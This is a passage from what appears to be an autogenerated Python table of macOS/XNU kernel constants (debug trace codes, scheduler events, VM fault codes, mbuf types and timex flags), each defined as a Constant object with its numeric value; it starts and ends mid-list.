STA_PPSSIGNAL = Constant('STA_PPSSIGNAL',0x0100) STA_PPSJITTER = Constant('STA_PPSJITTER',0x0200) STA_PPSWANDER = Constant('STA_PPSWANDER',0x0400) STA_PPSERROR = Constant('STA_PPSERROR',0x0800) STA_CLOCKERR = Constant('STA_CLOCKERR',0x1000) STA_NANO = Constant('STA_NANO',0x2000) STA_MODE = Constant('STA_MODE',0x4000) STA_CLK = Constant('STA_CLK',0x8000) TIME_OK = Constant('TIME_OK',0) TIME_INS = Constant('TIME_INS',1) TIME_DEL = Constant('TIME_DEL',2) TIME_OOP = Constant('TIME_OOP',3) TIME_WAIT = Constant('TIME_WAIT',4) TIME_ERROR = Constant('TIME_ERROR',5) MT_FREE = Constant('MT_FREE',0) MT_DATA = Constant('MT_DATA',1) MT_HEADER = Constant('MT_HEADER',2) MT_SOCKET = Constant('MT_SOCKET',3) MT_PCB = Constant('MT_PCB',4) MT_RTABLE = Constant('MT_RTABLE',5) MT_HTABLE = Constant('MT_HTABLE',6) MT_ATABLE = Constant('MT_ATABLE',7) MT_SONAME = Constant('MT_SONAME',8) MT_SOOPTS = Constant('MT_SOOPTS',10) MT_FTABLE = Constant('MT_FTABLE',11) MT_RIGHTS = Constant('MT_RIGHTS',12) MT_IFADDR = Constant('MT_IFADDR',13) MT_CONTROL = Constant('MT_CONTROL',14) MT_OOBDATA = Constant('MT_OOBDATA',15) MT_TAG = Constant('MT_TAG',16) MT_MAX = Constant('MT_MAX',32) MAX_MBUF_CNAME = Constant('MAX_MBUF_CNAME',15) MCS_DISABLED = Constant('MCS_DISABLED',0) MCS_ONLINE = Constant('MCS_ONLINE',1) MCS_PURGING = Constant('MCS_PURGING',2) MCS_OFFLINE = Constant('MCS_OFFLINE',3) MSG_NOERROR = Constant('MSG_NOERROR',0o010000) MSGSSZ = Constant('MSGSSZ',8) MSGSEG = Constant('MSGSEG',2048) MSGMNB = Constant('MSGMNB',2048) MSGMNI = Constant('MSGMNI',40) MSGTQL = Constant('MSGTQL',40) MSG_LOCKED = Constant('MSG_LOCKED',0o01000) DBG_MACH = Constant('DBG_MACH',1) DBG_NETWORK = Constant('DBG_NETWORK',2) DBG_FSYSTEM = Constant('DBG_FSYSTEM',3) DBG_BSD = Constant('DBG_BSD',4) DBG_IOKIT = Constant('DBG_IOKIT',5) DBG_DRIVERS = Constant('DBG_DRIVERS',6) DBG_TRACE = Constant('DBG_TRACE',7) DBG_DLIL = Constant('DBG_DLIL',8) DBG_PTHREAD = Constant('DBG_PTHREAD',9) DBG_CORESTORAGE = Constant('DBG_CORESTORAGE',10) DBG_CG = Constant('DBG_CG',11) DBG_MONOTONIC = Constant('DBG_MONOTONIC',12) DBG_MISC = Constant('DBG_MISC',20) DBG_SECURITY = Constant('DBG_SECURITY',30) DBG_DYLD = Constant('DBG_DYLD',31) DBG_QT = Constant('DBG_QT',32) DBG_APPS = Constant('DBG_APPS',33) DBG_LAUNCHD = Constant('DBG_LAUNCHD',34) DBG_SILICON = Constant('DBG_SILICON',35) DBG_PERF = Constant('DBG_PERF',37) DBG_IMPORTANCE = Constant('DBG_IMPORTANCE',38) DBG_BANK = Constant('DBG_BANK',40) DBG_XPC = Constant('DBG_XPC',41) DBG_ATM = Constant('DBG_ATM',42) DBG_ARIADNE = Constant('DBG_ARIADNE',43) DBG_DAEMON = Constant('DBG_DAEMON',44) DBG_ENERGYTRACE = Constant('DBG_ENERGYTRACE',45) DBG_DISPATCH = Constant('DBG_DISPATCH',46) DBG_IMG = Constant('DBG_IMG',49) DBG_UMALLOC = Constant('DBG_UMALLOC',51) DBG_TURNSTILE = Constant('DBG_TURNSTILE',53) DBG_AUDIO = Constant('DBG_AUDIO',54) DBG_MIG = Constant('DBG_MIG',255) DBG_MACH_EXCP_KTRAP_x86 = Constant('DBG_MACH_EXCP_KTRAP_x86',0x02) DBG_MACH_EXCP_DFLT = Constant('DBG_MACH_EXCP_DFLT',0x03) DBG_MACH_EXCP_SYNC_ARM = Constant('DBG_MACH_EXCP_SYNC_ARM',0x03) DBG_MACH_EXCP_IFLT = Constant('DBG_MACH_EXCP_IFLT',0x04) DBG_MACH_EXCP_SERR_ARM = Constant('DBG_MACH_EXCP_SERR_ARM',0x04) DBG_MACH_EXCP_INTR = Constant('DBG_MACH_EXCP_INTR',0x05) DBG_MACH_EXCP_ALNG = Constant('DBG_MACH_EXCP_ALNG',0x06) DBG_MACH_EXCP_UTRAP_x86 = Constant('DBG_MACH_EXCP_UTRAP_x86',0x07) DBG_MACH_EXCP_FP = Constant('DBG_MACH_EXCP_FP',0x08) DBG_MACH_EXCP_DECI = Constant('DBG_MACH_EXCP_DECI',0x09) DBG_MACH_CHUD = Constant('DBG_MACH_CHUD',0x0A) DBG_MACH_SIGNPOST = Constant('DBG_MACH_SIGNPOST',0x0A) DBG_MACH_EXCP_SC = Constant('DBG_MACH_EXCP_SC',0x0C) DBG_MACH_EXCP_TRACE = Constant('DBG_MACH_EXCP_TRACE',0x0D) DBG_MACH_EXCP_EMUL = Constant('DBG_MACH_EXCP_EMUL',0x0E) DBG_MACH_IHDLR = Constant('DBG_MACH_IHDLR',0x10) DBG_MACH_IPC = Constant('DBG_MACH_IPC',0x20) DBG_MACH_RESOURCE = Constant('DBG_MACH_RESOURCE',0x25) DBG_MACH_EXCLAVES = Constant('DBG_MACH_EXCLAVES',0x2A) DBG_MACH_EXCLAVES_SCHEDULER = Constant('DBG_MACH_EXCLAVES_SCHEDULER',0x2B) DBG_MACH_EPOCH_SYNC = Constant('DBG_MACH_EPOCH_SYNC',0x2C) DBG_MACH_VM = Constant('DBG_MACH_VM',0x30) DBG_MACH_LEAKS = Constant('DBG_MACH_LEAKS',0x31) DBG_MACH_WORKINGSET = Constant('DBG_MACH_WORKINGSET',0x32) DBG_MACH_SCHED = Constant('DBG_MACH_SCHED',0x40) DBG_MACH_MSGID_INVALID = Constant('DBG_MACH_MSGID_INVALID',0x50) DBG_MACH_LOCKS = Constant('DBG_MACH_LOCKS',0x60) DBG_MACH_PMAP = Constant('DBG_MACH_PMAP',0x70) DBG_MACH_CLOCK = Constant('DBG_MACH_CLOCK',0x80) DBG_MACH_MP = Constant('DBG_MACH_MP',0x90) DBG_MACH_VM_PRESSURE = Constant('DBG_MACH_VM_PRESSURE',0xA0) DBG_MACH_STACKSHOT = Constant('DBG_MACH_STACKSHOT',0xA1) DBG_MACH_SFI = Constant('DBG_MACH_SFI',0xA2) DBG_MACH_ENERGY_PERF = Constant('DBG_MACH_ENERGY_PERF',0xA3) DBG_MACH_SYSDIAGNOSE = Constant('DBG_MACH_SYSDIAGNOSE',0xA4) DBG_MACH_ZALLOC = Constant('DBG_MACH_ZALLOC',0xA5) DBG_MACH_THREAD_GROUP = Constant('DBG_MACH_THREAD_GROUP',0xA6) DBG_MACH_COALITION = Constant('DBG_MACH_COALITION',0xA7) DBG_MACH_SHAREDREGION = Constant('DBG_MACH_SHAREDREGION',0xA8) DBG_MACH_SCHED_CLUTCH = Constant('DBG_MACH_SCHED_CLUTCH',0xA9) DBG_MACH_IO = Constant('DBG_MACH_IO',0xAA) DBG_MACH_WORKGROUP = Constant('DBG_MACH_WORKGROUP',0xAB) DBG_MACH_HV = Constant('DBG_MACH_HV',0xAC) DBG_MACH_KCOV = Constant('DBG_MACH_KCOV',0xAD) DBG_MACH_MACHDEP_EXCP_SC_x86 = Constant('DBG_MACH_MACHDEP_EXCP_SC_x86',0xAE) DBG_MACH_MACHDEP_EXCP_SC_ARM = Constant('DBG_MACH_MACHDEP_EXCP_SC_ARM',0xAF) DBG_MACH_VM_RECLAIM = Constant('DBG_MACH_VM_RECLAIM',0xB0) DBC_MACH_IO_MMIO_READ = Constant('DBC_MACH_IO_MMIO_READ',0x1) DBC_MACH_IO_MMIO_WRITE = Constant('DBC_MACH_IO_MMIO_WRITE',0x2) DBC_MACH_IO_PHYS_READ = Constant('DBC_MACH_IO_PHYS_READ',0x3) DBC_MACH_IO_PHYS_WRITE = Constant('DBC_MACH_IO_PHYS_WRITE',0x4) DBC_MACH_IO_PORTIO_READ = Constant('DBC_MACH_IO_PORTIO_READ',0x5) DBC_MACH_IO_PORTIO_WRITE = Constant('DBC_MACH_IO_PORTIO_WRITE',0x6) DBG_INTR_TYPE_UNKNOWN = Constant('DBG_INTR_TYPE_UNKNOWN',0x0) DBG_INTR_TYPE_IPI = Constant('DBG_INTR_TYPE_IPI',0x1) DBG_INTR_TYPE_TIMER = Constant('DBG_INTR_TYPE_TIMER',0x2) DBG_INTR_TYPE_OTHER = Constant('DBG_INTR_TYPE_OTHER',0x3) DBG_INTR_TYPE_PMI = Constant('DBG_INTR_TYPE_PMI',0x4) DBG_INTR_TYPE_RSVD1 = Constant('DBG_INTR_TYPE_RSVD1',0x5) MACH_SCHED = Constant('MACH_SCHED',0x0) MACH_STACK_ATTACH = Constant('MACH_STACK_ATTACH',0x1) MACH_STACK_HANDOFF = Constant('MACH_STACK_HANDOFF',0x2) MACH_CALL_CONT = Constant('MACH_CALL_CONT',0x3) MACH_CALLOUT = Constant('MACH_CALLOUT',0x4) MACH_STACK_DETACH = Constant('MACH_STACK_DETACH',0x5) MACH_MAKE_RUNNABLE = Constant('MACH_MAKE_RUNNABLE',0x6) MACH_PROMOTE = Constant('MACH_PROMOTE',0x7) MACH_DEMOTE = Constant('MACH_DEMOTE',0x8) MACH_IDLE = Constant('MACH_IDLE',0x9) MACH_STACK_DEPTH = Constant('MACH_STACK_DEPTH',0xa) MACH_MOVED = Constant('MACH_MOVED',0xb) MACH_PSET_LOAD_AVERAGE = Constant('MACH_PSET_LOAD_AVERAGE',0xc) MACH_AMP_DEBUG = Constant('MACH_AMP_DEBUG',0xd) MACH_FAILSAFE = Constant('MACH_FAILSAFE',0xe) MACH_BLOCK = Constant('MACH_BLOCK',0xf) MACH_WAIT = Constant('MACH_WAIT',0x10) MACH_GET_URGENCY = Constant('MACH_GET_URGENCY',0x14) MACH_URGENCY = Constant('MACH_URGENCY',0x15) MACH_REDISPATCH = Constant('MACH_REDISPATCH',0x16) MACH_REMOTE_AST = Constant('MACH_REMOTE_AST',0x17) MACH_SCHED_CHOOSE_PROCESSOR = Constant('MACH_SCHED_CHOOSE_PROCESSOR',0x18) MACH_DEEP_IDLE = Constant('MACH_DEEP_IDLE',0x19) MACH_CPU_THROTTLE_DISABLE = Constant('MACH_CPU_THROTTLE_DISABLE',0x1b) MACH_RW_PROMOTE = Constant('MACH_RW_PROMOTE',0x1c) MACH_RW_DEMOTE = Constant('MACH_RW_DEMOTE',0x1d) MACH_SCHED_MAINTENANCE = Constant('MACH_SCHED_MAINTENANCE',0x1f) MACH_DISPATCH = Constant('MACH_DISPATCH',0x20) MACH_QUANTUM_HANDOFF = Constant('MACH_QUANTUM_HANDOFF',0x21) MACH_SCHED_THREAD_SWITCH = Constant('MACH_SCHED_THREAD_SWITCH',0x23) MACH_SCHED_SMT_BALANCE = Constant('MACH_SCHED_SMT_BALANCE',0x24) MACH_REMOTE_DEFERRED_AST = Constant('MACH_REMOTE_DEFERRED_AST',0x25) MACH_REMOTE_CANCEL_AST = Constant('MACH_REMOTE_CANCEL_AST',0x26) MACH_SCHED_CHANGE_PRIORITY = Constant('MACH_SCHED_CHANGE_PRIORITY',0x27) MACH_SCHED_UPDATE_REC_CORES = Constant('MACH_SCHED_UPDATE_REC_CORES',0x28) MACH_STACK_WAIT = Constant('MACH_STACK_WAIT',0x29) MACH_THREAD_BIND = Constant('MACH_THREAD_BIND',0x2a) MACH_WAITQ_PROMOTE = Constant('MACH_WAITQ_PROMOTE',0x2b) MACH_WAITQ_DEMOTE = Constant('MACH_WAITQ_DEMOTE',0x2c) MACH_SCHED_LOAD = Constant('MACH_SCHED_LOAD',0x2d) MACH_REC_CORES_FAILSAFE = Constant('MACH_REC_CORES_FAILSAFE',0x2e) MACH_SCHED_QUANTUM_EXPIRED = Constant('MACH_SCHED_QUANTUM_EXPIRED',0x2f) MACH_EXEC_PROMOTE = Constant('MACH_EXEC_PROMOTE',0x30) MACH_EXEC_DEMOTE = Constant('MACH_EXEC_DEMOTE',0x31) MACH_AMP_SIGNAL_SPILL = Constant('MACH_AMP_SIGNAL_SPILL',0x32) MACH_AMP_STEAL = Constant('MACH_AMP_STEAL',0x33) MACH_SCHED_LOAD_EFFECTIVE = Constant('MACH_SCHED_LOAD_EFFECTIVE',0x34) MACH_QUIESCENT_COUNTER = Constant('MACH_QUIESCENT_COUNTER',0x38) MACH_TURNSTILE_USER_CHANGE = Constant('MACH_TURNSTILE_USER_CHANGE',0x39) MACH_AMP_RECOMMENDATION_CHANGE = Constant('MACH_AMP_RECOMMENDATION_CHANGE',0x3a) MACH_AMP_PERFCTL_POLICY_CHANGE = Constant('MACH_AMP_PERFCTL_POLICY_CHANGE',0x3b) MACH_TURNSTILE_KERNEL_CHANGE = Constant('MACH_TURNSTILE_KERNEL_CHANGE',0x40) MACH_SCHED_WI_AUTO_JOIN = Constant('MACH_SCHED_WI_AUTO_JOIN',0x41) MACH_SCHED_WI_DEFERRED_FINISH = Constant('MACH_SCHED_WI_DEFERRED_FINISH',0x42) MACH_SET_RT_DEADLINE = Constant('MACH_SET_RT_DEADLINE',0x43) MACH_CANCEL_RT_DEADLINE = Constant('MACH_CANCEL_RT_DEADLINE',0x44) MACH_RT_SIGNAL_SPILL = Constant('MACH_RT_SIGNAL_SPILL',0x45) MACH_RT_STEAL = Constant('MACH_RT_STEAL',0x46) MACH_PENDING_AST_URGENT = Constant('MACH_PENDING_AST_URGENT',0x47) MACH_SCHED_THREAD_SELECT = Constant('MACH_SCHED_THREAD_SELECT',0x48) MACH_SCHED_NEXT_PROCESSOR = Constant('MACH_SCHED_NEXT_PROCESSOR',0x49) MACH_PSET_AVG_EXEC_TIME = Constant('MACH_PSET_AVG_EXEC_TIME',0x50) MACH_SUSPEND_USERSPACE = Constant('MACH_SUSPEND_USERSPACE',0x51) MACH_PREEMPTION_EXPIRED = Constant('MACH_PREEMPTION_EXPIRED',0x52) MACH_FLOOR_PROMOTE = Constant('MACH_FLOOR_PROMOTE',0x53) MACH_FLOOR_DEMOTE = Constant('MACH_FLOOR_DEMOTE',0x54) MACH_INT_MASKED_EXPIRED = Constant('MACH_INT_MASKED_EXPIRED',0x55) MACH_INT_HANDLED_EXPIRED = Constant('MACH_INT_HANDLED_EXPIRED',0x56) MACH_UPDATE_POWERED_CORES = Constant('MACH_UPDATE_POWERED_CORES',0x58) MACH_MODE_DEMOTE_THROTTLED = Constant('MACH_MODE_DEMOTE_THROTTLED',0x59) MACH_MODE_DEMOTE_FAILSAFE = Constant('MACH_MODE_DEMOTE_FAILSAFE',0x5a) MACH_MODE_DEMOTE_RT_DISALLOWED = Constant('MACH_MODE_DEMOTE_RT_DISALLOWED',0x5b) MACH_MODE_UNDEMOTE_THROTTLED = Constant('MACH_MODE_UNDEMOTE_THROTTLED',0x5c) MACH_MODE_UNDEMOTE_FAILSAFE = Constant('MACH_MODE_UNDEMOTE_FAILSAFE',0x5d) MACH_MODE_UNDEMOTE_RT_DISALLOWED = Constant('MACH_MODE_UNDEMOTE_RT_DISALLOWED',0x5e) MACH_INT_MASKED_RESET = Constant('MACH_INT_MASKED_RESET',0x5f) MACH_RT_DISALLOWED_WORK_INTERVAL = Constant('MACH_RT_DISALLOWED_WORK_INTERVAL',0x60) MACH_SCHED_WI_EXTERNAL_WAKEUP = Constant('MACH_SCHED_WI_EXTERNAL_WAKEUP',0x61) MACH_SCHED_AST_CHECK = Constant('MACH_SCHED_AST_CHECK',0x62) MACH_SCHED_PREEMPT_TIMER_ACTIVE = Constant('MACH_SCHED_PREEMPT_TIMER_ACTIVE',0x63) MACH_PROCESSOR_SHUTDOWN = Constant('MACH_PROCESSOR_SHUTDOWN',0x64) MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE',0x0) MACH_SCHED_CLUTCH_TG_BUCKET_STATE = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_STATE',0x1) MACH_SCHED_CLUTCH_THREAD_SELECT = Constant('MACH_SCHED_CLUTCH_THREAD_SELECT',0x2) MACH_SCHED_CLUTCH_THREAD_STATE = Constant('MACH_SCHED_CLUTCH_THREAD_STATE',0x3) MACH_SCHED_CLUTCH_TG_BUCKET_PRI = Constant('MACH_SCHED_CLUTCH_TG_BUCKET_PRI',0x4) MACH_SCHED_EDGE_CLUSTER_OVERLOAD = Constant('MACH_SCHED_EDGE_CLUSTER_OVERLOAD',0x5) MACH_SCHED_EDGE_STEAL = Constant('MACH_SCHED_EDGE_STEAL',0x6) MACH_SCHED_EDGE_REBAL_RUNNABLE = Constant('MACH_SCHED_EDGE_REBAL_RUNNABLE',0x7) MACH_SCHED_EDGE_REBAL_RUNNING = Constant('MACH_SCHED_EDGE_REBAL_RUNNING',0x8) MACH_SCHED_EDGE_SHOULD_YIELD = Constant('MACH_SCHED_EDGE_SHOULD_YIELD',0x9) MACH_SCHED_CLUTCH_THR_COUNT = Constant('MACH_SCHED_CLUTCH_THR_COUNT',0xa) MACH_SCHED_EDGE_LOAD_AVG = Constant('MACH_SCHED_EDGE_LOAD_AVG',0xb) MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD = Constant('MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD',0xc) MACH_SCHED_EDGE_RSRC_HEAVY_THREAD = Constant('MACH_SCHED_EDGE_RSRC_HEAVY_THREAD',0xd) MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE = Constant('MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE',0xe) WORKGROUP_INTERVAL_CREATE = Constant('WORKGROUP_INTERVAL_CREATE',0x0) WORKGROUP_INTERVAL_DESTROY = Constant('WORKGROUP_INTERVAL_DESTROY',0x1) WORKGROUP_INTERVAL_CHANGE = Constant('WORKGROUP_INTERVAL_CHANGE',0x2) WORKGROUP_INTERVAL_START = Constant('WORKGROUP_INTERVAL_START',0x3) WORKGROUP_INTERVAL_UPDATE = Constant('WORKGROUP_INTERVAL_UPDATE',0x4) WORKGROUP_INTERVAL_FINISH = Constant('WORKGROUP_INTERVAL_FINISH',0x5) WORKGROUP_INTERVAL_SET_WORKLOAD_ID = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID',0x6) WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME = Constant('WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME',0x7) KCOV_STKSZ_THRESHOLD_ABOVE = Constant('KCOV_STKSZ_THRESHOLD_ABOVE',0x0) KCOV_STKSZ_THRESHOLD_BELOW = Constant('KCOV_STKSZ_THRESHOLD_BELOW',0x1) DBG_VM_VNODE_PAGEOUT = Constant('DBG_VM_VNODE_PAGEOUT',0x001) DBG_VM_FAULT_INTERNAL = Constant('DBG_VM_FAULT_INTERNAL',0x002) DBG_VM_PURGEABLE_TOKEN_ADD = Constant('DBG_VM_PURGEABLE_TOKEN_ADD',0x040) DBG_VM_PURGEABLE_TOKEN_DELETE = Constant('DBG_VM_PURGEABLE_TOKEN_DELETE',0x041) DBG_VM_PURGEABLE_TOKEN_RIPEN = Constant('DBG_VM_PURGEABLE_TOKEN_RIPEN',0x042) DBG_VM_PURGEABLE_OBJECT_ADD = Constant('DBG_VM_PURGEABLE_OBJECT_ADD',0x048) DBG_VM_PURGEABLE_OBJECT_REMOVE = Constant('DBG_VM_PURGEABLE_OBJECT_REMOVE',0x049) DBG_VM_PURGEABLE_OBJECT_PURGE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE',0x04a) DBG_VM_PURGEABLE_OBJECT_PURGE_ALL = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ALL',0x04b) DBG_VM_PURGEABLE_OBJECT_PURGE_ONE = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_ONE',0x04c) DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP = Constant('DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP',0x04e) DBG_VM_MAP_PARTIAL_REAP = Constant('DBG_VM_MAP_PARTIAL_REAP',0x054) DBG_VM_MAP_WILLNEED = Constant('DBG_VM_MAP_WILLNEED',0x055) DBG_VM_FAULT_CHECK_ZFDELAY = Constant('DBG_VM_FAULT_CHECK_ZFDELAY',0x100) DBG_VM_FAULT_COWDELAY = Constant('DBG_VM_FAULT_COWDELAY',0x101) DBG_VM_FAULT_ZFDELAY = Constant('DBG_VM_FAULT_ZFDELAY',0x102) DBG_VM_FAULT_COMPRESSORDELAY = Constant('DBG_VM_FAULT_COMPRESSORDELAY',0x103) DBG_VM_PAGEOUT_SCAN = Constant('DBG_VM_PAGEOUT_SCAN',0x104) DBG_VM_PAGEOUT_BALANCE = Constant('DBG_VM_PAGEOUT_BALANCE',0x105) DBG_VM_PAGEOUT_FREELIST = Constant('DBG_VM_PAGEOUT_FREELIST',0x106) DBG_VM_PAGEOUT_PURGEONE = Constant('DBG_VM_PAGEOUT_PURGEONE',0x107) DBG_VM_PAGEOUT_CACHE_EVICT = Constant('DBG_VM_PAGEOUT_CACHE_EVICT',0x108) DBG_VM_PAGEOUT_THREAD_BLOCK = Constant('DBG_VM_PAGEOUT_THREAD_BLOCK',0x109) DBG_VM_PAGEOUT_JETSAM = Constant('DBG_VM_PAGEOUT_JETSAM',0x10A) DBG_VM_INFO1 = Constant('DBG_VM_INFO1',0x10B) DBG_VM_INFO2 = Constant('DBG_VM_INFO2',0x10C) DBG_VM_INFO3 = Constant('DBG_VM_INFO3',0x10D) DBG_VM_INFO4 = Constant('DBG_VM_INFO4',0x10E) DBG_VM_INFO5 = Constant('DBG_VM_INFO5',0x10F) DBG_VM_INFO6 = Constant('DBG_VM_INFO6',0x110) DBG_VM_INFO7 = Constant('DBG_VM_INFO7',0x111) DBG_VM_INFO8 = Constant('DBG_VM_INFO8',0x112) DBG_VM_INFO9 = Constant('DBG_VM_INFO9',0x113) DBG_VM_INFO10 = Constant('DBG_VM_INFO10',0x114) DBG_VM_UPL_PAGE_WAIT = Constant('DBG_VM_UPL_PAGE_WAIT',0x120) DBG_VM_IOPL_PAGE_WAIT = Constant('DBG_VM_IOPL_PAGE_WAIT',0x121) DBG_VM_PAGE_WAIT_BLOCK = Constant('DBG_VM_PAGE_WAIT_BLOCK',0x122) DBG_VM_PAGE_SLEEP = Constant('DBG_VM_PAGE_SLEEP',0x123) DBG_VM_PAGE_EXPEDITE = Constant('DBG_VM_PAGE_EXPEDITE',0x124) DBG_VM_PAGE_EXPEDITE_NO_MEMORY = Constant('DBG_VM_PAGE_EXPEDITE_NO_MEMORY',0x125) DBG_VM_PAGE_GRAB = Constant('DBG_VM_PAGE_GRAB',0x126) DBG_VM_PAGE_RELEASE = Constant('DBG_VM_PAGE_RELEASE',0x127) DBG_VM_COMPRESSOR_COMPACT_AND_SWAP = Constant('DBG_VM_COMPRESSOR_COMPACT_AND_SWAP',0x128) DBG_VM_COMPRESSOR_DELAYED_COMPACT = Constant('DBG_VM_COMPRESSOR_DELAYED_COMPACT',0x129) DBG_VM_OBJECT_SLEEP = Constant('DBG_VM_OBJECT_SLEEP',0x12a) DBG_VM_PAGE_WAKEUP = Constant('DBG_VM_PAGE_WAKEUP',0x12b) DBG_VM_PAGE_WAKEUP_DONE = Constant('DBG_VM_PAGE_WAKEUP_DONE',0x12c) DBG_VM_PRESSURE_EVENT = Constant('DBG_VM_PRESSURE_EVENT',0x130) DBG_VM_EXECVE = Constant('DBG_VM_EXECVE',0x131) DBG_VM_WAKEUP_COMPACTOR_SWAPPER = Constant('DBG_VM_WAKEUP_COMPACTOR_SWAPPER',0x132) DBG_VM_UPL_REQUEST = Constant('DBG_VM_UPL_REQUEST',0x133) DBG_VM_IOPL_REQUEST = Constant('DBG_VM_IOPL_REQUEST',0x134) DBG_VM_KERN_REQUEST = Constant('DBG_VM_KERN_REQUEST',0x135) DBG_VM_DATA_WRITE = Constant('DBG_VM_DATA_WRITE',0x140) DBG_VM_PRESSURE_LEVEL_CHANGE = Constant('DBG_VM_PRESSURE_LEVEL_CHANGE',0x141) DBG_VM_PHYS_WRITE_ACCT = Constant('DBG_VM_PHYS_WRITE_ACCT',0x142) DBG_VM_MAP_LOOKUP_ENTRY_FAILURE = Constant('DBG_VM_MAP_LOOKUP_ENTRY_FAILURE',0x143) VM_DISCONNECT_ALL_PAGE_MAPPINGS = Constant('VM_DISCONNECT_ALL_PAGE_MAPPINGS',0x00) VM_DISCONNECT_TASK_PAGE_MAPPINGS = Constant('VM_DISCONNECT_TASK_PAGE_MAPPINGS',0x01) VM_REAL_FAULT_ADDR_INTERNAL = Constant('VM_REAL_FAULT_ADDR_INTERNAL',0x02) VM_REAL_FAULT_ADDR_PURGABLE = Constant('VM_REAL_FAULT_ADDR_PURGABLE',0x03) VM_REAL_FAULT_ADDR_EXTERNAL = Constant('VM_REAL_FAULT_ADDR_EXTERNAL',0x04) VM_REAL_FAULT_ADDR_SHAREDCACHE = Constant('VM_REAL_FAULT_ADDR_SHAREDCACHE',0x05) VM_REAL_FAULT_FAST = Constant('VM_REAL_FAULT_FAST',0x06) VM_REAL_FAULT_SLOW = Constant('VM_REAL_FAULT_SLOW',0x07) VM_MAP_LOOKUP_OBJECT = Constant('VM_MAP_LOOKUP_OBJECT',0x08) DBG_ZERO_FILL_FAULT = Constant('DBG_ZERO_FILL_FAULT',0x01) DBG_PAGEIN_FAULT = Constant('DBG_PAGEIN_FAULT',0x02) DBG_COW_FAULT = Constant('DBG_COW_FAULT',0x03) DBG_CACHE_HIT_FAULT = Constant('DBG_CACHE_HIT_FAULT',0x04) DBG_NZF_PAGE_FAULT = Constant('DBG_NZF_PAGE_FAULT',0x05) DBG_GUARD_FAULT = Constant('DBG_GUARD_FAULT',0x06) DBG_PAGEINV_FAULT = Constant('DBG_PAGEINV_FAULT',0x07) DBG_PAGEIND_FAULT = Constant('DBG_PAGEIND_FAULT',0x08) DBG_COMPRESSOR_FAULT = Constant('DBG_COMPRESSOR_FAULT',0x09) DBG_COMPRESSOR_SWAPIN_FAULT = Constant('DBG_COMPRESSOR_SWAPIN_FAULT',0x0a) DBG_COR_FAULT = Constant('DBG_COR_FAULT',0x0b) MACH_TASK_SUSPEND = Constant('MACH_TASK_SUSPEND',0x0) MACH_TASK_RESUME = Constant('MACH_TASK_RESUME',0x1) MACH_THREAD_SET_VOUCHER = Constant('MACH_THREAD_SET_VOUCHER',0x2) MACH_IPC_MSG_SEND = Constant('MACH_IPC_MSG_SEND',0x3) MACH_IPC_MSG_RECV = Constant('MACH_IPC_MSG_RECV',0x4) MACH_IPC_MSG_RECV_VOUCHER_REFUSED = Constant('MACH_IPC_MSG_RECV_VOUCHER_REFUSED',0x5) MACH_IPC_KMSG_FREE = Constant('MACH_IPC_KMSG_FREE',0x6) MACH_IPC_VOUCHER_CREATE = Constant('MACH_IPC_VOUCHER_CREATE',0x7) MACH_IPC_VOUCHER_CREATE_ATTR_DATA = Constant('MACH_IPC_VOUCHER_CREATE_ATTR_DATA',0x8) MACH_IPC_VOUCHER_DESTROY = Constant('MACH_IPC_VOUCHER_DESTROY',0x9) MACH_IPC_KMSG_INFO = Constant('MACH_IPC_KMSG_INFO',0xa) MACH_IPC_KMSG_LINK = Constant('MACH_IPC_KMSG_LINK',0xb) MACH_IPC_PORT_ENTRY_MODIFY = Constant('MACH_IPC_PORT_ENTRY_MODIFY',0xc) MACH_IPC_DESTROY_GUARDED_DESC = Constant('MACH_IPC_DESTROY_GUARDED_DESC',0xd) MACH_THREAD_SUSPEND = Constant('MACH_THREAD_SUSPEND',0xe) MACH_THREAD_RESUME = Constant('MACH_THREAD_RESUME',0xf) MACH_EXCLAVES_SWITCH = Constant('MACH_EXCLAVES_SWITCH',0x0) MACH_EXCLAVES_XNUPROXY = Constant('MACH_EXCLAVES_XNUPROXY',0x1) MACH_EXCLAVES_RPC = Constant('MACH_EXCLAVES_RPC',0x2) MACH_EXCLAVES_UPCALL = Constant('MACH_EXCLAVES_UPCALL',0x3) MACH_EXCLAVES_BOOT_TASK = Constant('MACH_EXCLAVES_BOOT_TASK',0x4) MACH_EXCLAVES_SCHEDULER_YIELD = Constant('MACH_EXCLAVES_SCHEDULER_YIELD',0x0) MACH_EXCLAVES_SCHEDULER_SPAWNED = Constant('MACH_EXCLAVES_SCHEDULER_SPAWNED',0x1) MACH_EXCLAVES_SCHEDULER_TERMINATED = Constant('MACH_EXCLAVES_SCHEDULER_TERMINATED',0x2) MACH_EXCLAVES_SCHEDULER_WAIT = Constant('MACH_EXCLAVES_SCHEDULER_WAIT',0x3) MACH_EXCLAVES_SCHEDULER_WAKE = Constant('MACH_EXCLAVES_SCHEDULER_WAKE',0x4) MACH_EXCLAVES_SCHEDULER_SUSPENDED = Constant('MACH_EXCLAVES_SCHEDULER_SUSPENDED',0x5) MACH_EXCLAVES_SCHEDULER_RESUMED = Constant('MACH_EXCLAVES_SCHEDULER_RESUMED',0x6) MACH_EXCLAVES_SCHEDULER_INTERRUPTED = Constant('MACH_EXCLAVES_SCHEDULER_INTERRUPTED',0x7) MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED = Constant('MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED',0x8) MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED = Constant('MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED',0x9) MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC = Constant('MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC',0xa) MACH_EPOCH_SYNC_WAIT_STALE = Constant('MACH_EPOCH_SYNC_WAIT_STALE',0x0) MACH_EPOCH_SYNC_WAIT = 